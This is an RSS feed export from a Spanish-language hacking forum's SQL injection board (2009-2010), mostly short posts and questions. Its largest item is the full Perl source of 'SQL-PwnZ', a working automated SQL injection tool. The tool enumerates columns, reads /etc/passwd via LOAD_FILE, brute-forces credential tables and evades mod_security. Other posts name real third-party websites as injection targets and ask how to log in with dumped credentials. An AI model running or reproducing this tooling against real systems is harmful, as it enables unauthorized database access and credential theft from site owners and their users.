<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - SQL Injections Generales</title>
<description></description><link>https://foro.undersecurity.net/list.php?46</link><lastBuildDate>Mon, 06 Sep 2010 12:29:47 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?46,7898,7898#msg-7898</guid>
<title>Blind SQL Injection: Inference through Underflow Error (oracle) (1 reply)</title><link>https://foro.undersecurity.net/read.php?46,7898,7898#msg-7898</link><description><![CDATA[<a href="http://dbellucci.blogspot.com/2009/12/blind-sql-injection-inference-through.html" target="_blank" rel="nofollow" >http://dbellucci.blogspot.com/2009/12/blind-sql-injection-inference-through.html</a>]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injections Generales</category><pubDate>Tue, 31 Aug 2010 01:48:59 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,7708,7708#msg-7708</guid>
<title>SQL Injection Cheat Sheet (no replies)</title><link>https://foro.undersecurity.net/read.php?46,7708,7708#msg-7708</link><description><![CDATA[<span style="font-size:large">SQL Injection Cheat Sheet, Document Version 1.4</span><br /><br /><span style="font-size:large">About SQL Injection Cheat Sheet</span><br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.<br /><br />Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.<br />M : MySQL<br />S : SQL Server<br />P : PostgreSQL<br />O : Oracle<br />+ : Possibly all other databases<br />Examples;<br /><br />* (MS) means : MySQL and SQL Server etc.<br />* (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server</div></blockquote><br /><span style="font-size:large">Table Of Contents</span><br /><br /><pre class="bbcode">
1. About SQL Injection Cheat Sheet
   2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
         1. Line Comments
                * SQL Injection Attack Samples
         2. Inline Comments
                * Classical Inline Comment SQL Injection Attack Samples
                * MySQL Version Detection Sample Attacks
         3. Stacking Queries
                * Language / Database Stacked Query Support Table
                * About MySQL and PHP
                * Stacked SQL Injection Attack Samples
         4. If Statements
                * MySQL If Statement
                * SQL Server If Statement
                * If Statement SQL Injection Attack Samples
         5. Using Integers
         6. String  Operations
                * String Concatenation
         7. Strings without Quotes
                * Hex based SQL Injection Samples
         8. String Modification &amp; Related
         9. Union Injections
                * UNION – Fixing Language Issues
        10. Bypassing Login Screens
        11. Enabling xp_cmdshell in SQL Server 2005
        12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.</pre><br /><br /><br /><br /><a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" target="_blank" rel="nofollow" >http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</a>]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injections Generales</category><pubDate>Mon, 02 Aug 2010 14:35:47 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,7492,7492#msg-7492</guid>
<title>MSSQL INJECTION (no replies)</title><link>https://foro.undersecurity.net/read.php?46,7492,7492#msg-7492</link><description><![CDATA[[ No suelo pedir ayuda sin haberme roto la cabeza mis 2 o 3 horas antes intentando solucionarlo por mi cuenta, así que tenedlo en cuenta! xD]<br /><br />Una página .php hace uso mediante Transact SQL (base de datos mssql) de un try / catch para procesar una query:<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div>BEGIN TRY
     <span class="br0">&#123;</span> sql_statement  <span class="br0">&#125;</span>
END TRY
BEGIN CATCH
         <span class="kw1">SELECT</span> <span class="st0">&quot;'Error: ' + ERROR_MESSAGE()&quot;</span>;
END CATCH</pre><br />es posible inyectar algo? Porque soy rotúndamente incapaz de sacar nada en claro de cualquier consulta que hago...., mirad, os pongo la web, si quereis intentarlo y conseguis algo, responder! xD<br /><br />http://antharas.lineage2.es/mapclan.php?char_name=INYECTHERE]]></description>
<dc:creator>tragantras</dc:creator>
<category>SQL Injections Generales</category><pubDate>Wed, 30 Jun 2010 10:47:26 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,7356,7356#msg-7356</guid>
<title>ayuda sql [ union+select y me dice forbidden.] (3 replies)</title><link>https://foro.undersecurity.net/read.php?46,7356,7356#msg-7356</link><description><![CDATA[Hola, soy alumno de la uni siglo21, resulta que tiene un sistema de ayuda por tickets, pero me llamo la atencion esto:<br />http://www1.uesiglo21.edu.ar/e-campus/tickets/categoria.php?u=USER<br />Sin pedir autenticacion y con cambiar la variable del campo user puedo entrar a ver las consultas de otros user con solo el usuario.<br />Que se le podria hacer con algo asi?<br />Ya intente hacer un union+select y me dice forbidden.<br />Alguna ayuda.]]></description>
<dc:creator>kerber0s</dc:creator>
<category>SQL Injections Generales</category><pubDate>Wed, 23 Jun 2010 08:42:29 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,6954,6954#msg-6954</guid>
<title>SQL-PwnZ v1.5 [NEW] [Mix Collations &amp; mod_security Bypass] (15 replies)</title><link>https://foro.undersecurity.net/read.php?46,6954,6954#msg-6954</link><description><![CDATA[<span style="font-size:10pt"><b><u>Nuevo:</u></b></span><br /><br /><b>[+] Agregado mod_security Bypass.<br />[+] Agregado Illegal Mix Of Collations Bypass.<br />[+] Agregadas más tablas para bruteforce.<br />[+] Agregadas más columnas para bruteforce.<br />[+] Código interno mejorado.<br />[+] Bugs Fixeados.<br />[+] Fix case sensitive. (Gracias yoyahack &amp; seth).<br />[+] AND+1=char(97)=char(87) (Gracias OzX).<br />[+] Hex LOAD_FILE Fix.</b><br /><br /><span style="font-size:10pt"><u><b>Sitio con mod_security activado:</b></u></span><br /><br /><img src="http://img441.imageshack.us/img441/9385/pantallazo6.png" class="bbcode" border="0" /><br /><br /><span style="font-size:10pt"><br /><u><b>SQL-PwnZ: Bypasseando</b></u></span><br /><br /><img src="http://img338.imageshack.us/img338/7571/pantallazo4z.png" class="bbcode" border="0" /><br /><br /><br /><span style="font-size:10pt"><u><b>Salida:</b></u></span><br /><br /><img src="http://img535.imageshack.us/img535/1012/pantallazo5.png" class="bbcode" border="0" /><br /><br /><br /><br /><br /><span style="font-size:10pt"><u><b>Sitio con Illegal Mix Of Collations:</b></u></span><br /><br /><img src="http://img521.imageshack.us/img521/2458/pantallazo2p.png" class="bbcode" border="0" /><br /><br /><br /><span style="font-size:10pt"><u><b>SQL-PwnZ: Bypasseando</b></u></span><br /><br /><img src="http://img401.imageshack.us/img401/8025/pantallazon.png" class="bbcode" border="0" /><br /><br /><br /><span style="font-size:10pt"><u><b>Salida:</b></u></span><br /><br /><img src="http://img29.imageshack.us/img29/3073/pantallazo1pn.png" class="bbcode" border="0" /><br /><br /><br /><br /><br /><span style="font-size:10pt"><u><b>Código:</b></u></span><br /><br /><pre class="bbcode">#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema &amp;&amp; MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass &amp;&amp; mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
	{
		 print &quot;\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================&quot;;
		 print &quot;\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n&quot;;
		 print &quot;\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n&quot;;
		 exit (0);
	}
	
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
	  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
	  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
	  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
	  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
	  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
	  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
	  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
	  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
	  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
	  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
	  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
	  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
	  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
		  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent-&gt;new;
$agent-&gt;agent(&quot;Google Bot&quot;);

if ( $host   !~   /^http:/ ) 
  {
      $host = &quot;http://&quot; . $host;
  }

for ($numarg = 0 ;  $numarg &lt;= $#ARGV ; $numarg++)
{
	$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
	print &quot;\n[+] MIX_BYPASS ACTIVADO&quot;;
	$hexin = &quot;unhex(hex(&quot;;
	$hexend = &quot;))&quot;;
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
	$cmn= &quot;+&quot;;
	$cfin=&quot;--&quot;;
	print &quot;\n[+] Comentarios a utilizar: '--' &amp; '+'&quot;;	
}
else
{
	$cmn= &quot;/**/&quot;;
	$cfin= &quot;/*&quot;;
	print &quot;\n[+] Comentarios a utilizar: '/*' &amp; '/**/'&quot;;
}
}
else
{
	print &quot;\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' &amp; '*/'&quot;;	
	$bypass = &quot;+/*!&quot;;
	$cmn= &quot;+&quot;;
	$cfin= &quot;*/&quot;;
}

open(WEB,&quot;&gt;&gt;&quot;.$savelist) || die &quot;\n\n[-] Imposible crear el archivo de texto\n&quot;;
if ($argumentos =~ /-NOCHECK/i)
  {
      print &quot;\n[!] Se omite el chequeo inicial...\n&quot;;
      print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
  }
else
  {
      print &quot;\n[!] Chequeando si la web es vulnerable...\n&quot;;
      $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cfin));
      $response = $sql-&gt;content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print &quot;[+] Web vulnerable, continua el script...\n&quot;;
            print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
        }
        else
          {
            print &quot;[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n&quot;;
	    close(WEB);
            exit(0);
          }
  }
print &quot;\n[!] Buscando columnas...\n&quot;;
for ($column = 1 ; $column &lt;= $columnas ; $column ++)
{
	$UNION.=','.$column;
	$inyection.=','.&quot;0x6c6f67696e70776e7a&quot;;
    if ($column == 1)
      {
          print WEB &quot;\n[COLUMNAS]:\n\n&quot;;
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /loginpwnz/)
      {
         print &quot;[+] La web posee $column columnas\n\n&quot;;
         $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cfin;
         print &quot;$sql\n&quot;;
         print WEB &quot;$sql\n&quot;;
         print &quot;\n[!] Chequeando si existe Information_Schema...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] Information_Schema disponible...guardando en $savelist&quot;;
            $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin;
            print WEB &quot;\n\n[INFORMATION_SCHEMA]:\n\n$sql\n&quot;;
            	
         	}
         else
         	{
            	print &quot;\n[-] Information_Schema no disponible&quot;;
         	}
         print &quot;\n[!] Chequeando si existe MySQL.User...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] MySQL.User disponible...guardando en $savelist&quot;;
         		$sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin;
            	print WEB &quot;\n\n[MYSQL.USER]:\n\n$sql\n&quot;;
            	
         	}
         else
         	{
            	print &quot;\n[-] MySQL.User no disponible&quot;;
         	}
	while ($loadcont &lt; $column-1)
	   {
		$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
		$loadcont++;
	   }
	print &quot;\n[!] Chequeando si es posible inyectar LOAD_FILE...&quot;;
	$sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;LOAD_FILE(0x2f6574632f706173737764)&quot;.$hexend.$loadfile.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /root:x:/)
         	{
         		print &quot;\n[+] LOAD_FILE disponible...guardando en $savelist&quot;;
         		print WEB &quot;\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend =&gt; OK! (0x2f6574632f706173737764 =&gt; /etc/passwd)\n&quot;;
          }
         else
         	{
            	print &quot;\n[-] LOAD_FILE no disponible&quot;;
         	}
	if ($argumentos =~ /-TB/i)
         	{
              print &quot;\n\n[!] Bruteando tablas...&quot;;
              print WEB &quot;\n\n[TABLAS]:\n\n&quot;;
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
                  $response = $sql-&gt;content();
                  if($response =~ /loginpwnz/)
                    {
                        print &quot;\n[+] La tabla $tabla esta disponible...guardando en $savelist&quot;;
                        $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin;
                        print WEB &quot;$sql\n&quot;;
                    }
                }
           	}
        if ($argumentos =~ /-CL/i)
          {
          	print &quot;\n\n[!] Tabla a la cual brutear columnas: &quot;;
            $tabla=&lt;STDIN&gt;;
            chomp($tabla);
            print WEB &quot;\n\n[COLUMNAS EN $tabla]:\n\n&quot;;
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;concat(0x6c6f67696e70776e7a,0x3a,$columna)&quot;.$hexend.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
             $response = $sql-&gt;content();
             if ($response =~ /loginpwnz/)
                  {
                      print &quot;\n[+] La columna $columna esta disponible...guardando en $savelist&quot;;
                      print WEB &quot;$hexin$columna$hexend\n&quot;;
                  }
            }
        }
        print WEB &quot;\n\n\n[*EOF*]&quot;;
        print &quot;\n\n[+] Todo salvado correctamente en $savelist\n\n&quot;;
        print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
	close(WEB);
        exit (0);
      }
}
print &quot;[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n&quot;;
print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
close(WEB);
exit (0);</pre><br /><br /><span style="font-size:10pt"><u><b>Sitio:</b></u></span><br /><br /><a href="http://sourceforge.net/projects/sqlpwnz/" target="_blank" rel="nofollow" >http://sourceforge.net/projects/sqlpwnz/</a>]]></description>
<dc:creator>Login-Root</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sun, 11 Apr 2010 06:12:41 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,6766,6766#msg-6766</guid>
<title>Consulta: Bug SQL Injection. (7 replies)</title><link>https://foro.undersecurity.net/read.php?46,6766,6766#msg-6766</link><description><![CDATA[Hola, buenas noches me registre en el foro, porque me lo recomendaron para hacer preguntar bugs que (encuentro) y nose como explotarlos.<br /><br />Bueno hoy revisando la web encontre que una pagina tenia un bug a sql injection.<br /><br />Lo que hice fue cambiar el ID=254 por ID=' y ahi me tiro los siguientes errores.<br /><br /><br />Aca le dejo la imagen del error que me tira.<br /><img src="http://i48.tinypic.com/kbybep.png" class="bbcode" border="0" /><br /><br /><br />Todo lo borrado lo hice porque mi intención no es hacer nada malo en esa pagina, si no aprender tecnicas y luego que ya la use &quot;DE WEB PRUEBA&quot; le informo al administrador, que tiene una vurnerabilidad en su web.<br /><br /><br />Desde ya muchas gracias!]]></description>
<dc:creator>heifede</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sat, 06 Mar 2010 20:56:21 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,6643,6643#msg-6643</guid>
<title>Duda: Como obtener la pagina de login luego de obtener los datos? (6 replies)</title><link>https://foro.undersecurity.net/read.php?46,6643,6643#msg-6643</link><description><![CDATA[Hola, soy nuevo en el foro. Leyendo sus articulos y de otros foros me he logrado &quot;nutrir&quot; un poco para poder hacer mis primaras inyecciones SQL con exito, logrando el objetivo.<br />Una vez obtenidos los datos vienen algunas dudas: ¿Existe alguna forma de determinar el archivo para logearse (en caso que tenga habilitado el acceso via web) en el sitio?, ¿Existe algun tipo de &quot;wordlist&quot; con archivos de login por defecto?, ¿Existe alguna aplicacion para determinar los archivos de un directorio? (bruteforce se me ocurre). De antemano muchas gracias y saludos a los seguidores del foro.]]></description>
<dc:creator>cu4d</dc:creator>
<category>SQL Injections Generales</category><pubDate>Thu, 25 Feb 2010 15:19:19 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,6440,6440#msg-6440</guid>
<title>Using database Caches to detect SQL Injection (1 reply)</title><link>https://foro.undersecurity.net/read.php?46,6440,6440#msg-6440</link><description><![CDATA[Hola!, hace un rato he estado navegando y he encontrado en securitytube un videotutorial sobre SQL injection bastante interesante que habla sobre la cache para detectar esta vulnerabilidad, aqui dejo el link:<br /><br />http://www.securitytube.net/Using-Database-Caches-to-Detect-SQL-injection-%28SecTor-2009%29-video.aspx<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 12 Feb 2010 17:03:26 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,5672,5672#msg-5672</guid>
<title>SQL INYECTION como si estuviera en primero. (no replies)</title><link>https://foro.undersecurity.net/read.php?46,5672,5672#msg-5672</link><description><![CDATA[Aca para testear: http://www.bullcariez.es<br /><br />manual practico: http://www.forohack.com/Version_Imprimible.php?Id=369]]></description>
<dc:creator>BoF</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sun, 06 Dec 2009 20:52:54 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,5382,5382#msg-5382</guid>
<title>Duda con SQL Injecion en paginas aspx (4 replies)</title><link>https://foro.undersecurity.net/read.php?46,5382,5382#msg-5382</link><description><![CDATA[http://www.infoiarna.org.gt/article.aspx?id=106'<br /><br /><br /><br />amigo hace tiempo vi un bideo sobre una inyeccion de este tipo,,, lo unico es q no m acuerdo q hay q hacer ejejejeje entren en eselink,, y podrian xplicamre ese error,,,]]></description>
<dc:creator>Xl1nuX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sun, 22 Nov 2009 13:50:35 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,5029,5029#msg-5029</guid>
<title>Asegúr@IT III - Ataques SQL Injection masivos (2 replies)</title><link>https://foro.undersecurity.net/read.php?46,5029,5029#msg-5029</link><description><![CDATA[<b>Asegúr@IT III - Ataques SQL Injection masivos</b><br /><br /><br/><embed src="http://video.google.es/googleplayer.swf?docId=-7599285223630424801" type="application/x-shockwave-flash" width="425" height="350"></embed><br/><br /><br /><b><a href="http://www.slideshare.net/chemai64/asegrit-iii-ataques-sql-injectino-masivos-presentation" target="_blank" rel="nofollow" >Presentacion</a></b><br /><br /><a href="http://elladodelmal.blogspot.com/2008/12/asegrit-iii-online.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Tue, 10 Nov 2009 21:52:21 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4931,4931#msg-4931</guid>
<title>Microsoft JET Database Engine error '80040e21' (no replies)</title><link>https://foro.undersecurity.net/read.php?46,4931,4931#msg-4931</link><description><![CDATA[En una Union SQL Injection en MsAccess me encontre con el siguiente error.<br /><br /><b>Url : +and+1=0+union+select+1,2,3,4,5,6</b><br /><br /><pre class="bbcode">
Cannot use Memo, OLE, or Hyperlink Object field '&lt;campo&gt;' in the SELECT clause of a union query.</pre><br /><br />Buscando en google, me encontre con la solucion:<br /><br /><a href="http://support.microsoft.com/kb/208926" target="_blank" rel="nofollow" >http://support.microsoft.com/kb/208926</a><br /><br /><b>Razon :</b>Cuando se ejecuta una consulta de unión específica de SQL que contiene un campo objeto OLE, puede recibir el siguiente mensaje de error:<br /><br /><b>Solucion :</b> Para evitar este error, agregue el predicado ALL para eliminar la ordenación de los datos del campo. Por ejemplo, agregar el predicado ALL a la siguiente instrucción SQL<br /><br />Por lo tanto la Injeccion Seria :<br /><br /><b>Url : +and+1=0+union+<span style="color:#FF0000">all</span>+select+1,2,3,4,5,6</b><br /><br />Y Shanan ¡¡¡ :D funciono.<br /><br /><br />Saludos.<br />Undersecurity.net<br />OzX]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 06 Nov 2009 20:54:29 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4922,4922#msg-4922</guid>
<title>Duda respecto a SQL injection (2 replies)</title><link>https://foro.undersecurity.net/read.php?46,4922,4922#msg-4922</link><description><![CDATA[Mi duda es la siguiente: puedo hacerme con el control del sistema en el que esta alojado la base de datos mediante SQL Injection pero sin necesidad de subir shells?, en MySQL se puede hacer esto?, es que he leido en algunas guias que es posible incluso hacer un shutdown a la base de datos...<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 06 Nov 2009 19:15:49 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4834,4834#msg-4834</guid>
<title>ayuda bind sql inyeccion (2 replies)</title><link>https://foro.undersecurity.net/read.php?46,4834,4834#msg-4834</link><description><![CDATA[hola compadres como van espero que vien estoy por aqui con unas lagunas que me traen loco lo que pasa es que quisiera saber como hago para sacar las tablas y columnas letra por letra asi como el user y el pass si alguien me puede decir como es la inyeccion para sacar la longitud de caracteres de una tabla y la inyeccion para ir averiguando caracter por caracter el nombre de la tabla y asi mismo con la columna saludos y espero sus comentarios bytes]]></description>
<dc:creator>ReNcOoR</dc:creator>
<category>SQL Injections Generales</category><pubDate>Thu, 05 Nov 2009 23:44:37 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4779,4779#msg-4779</guid>
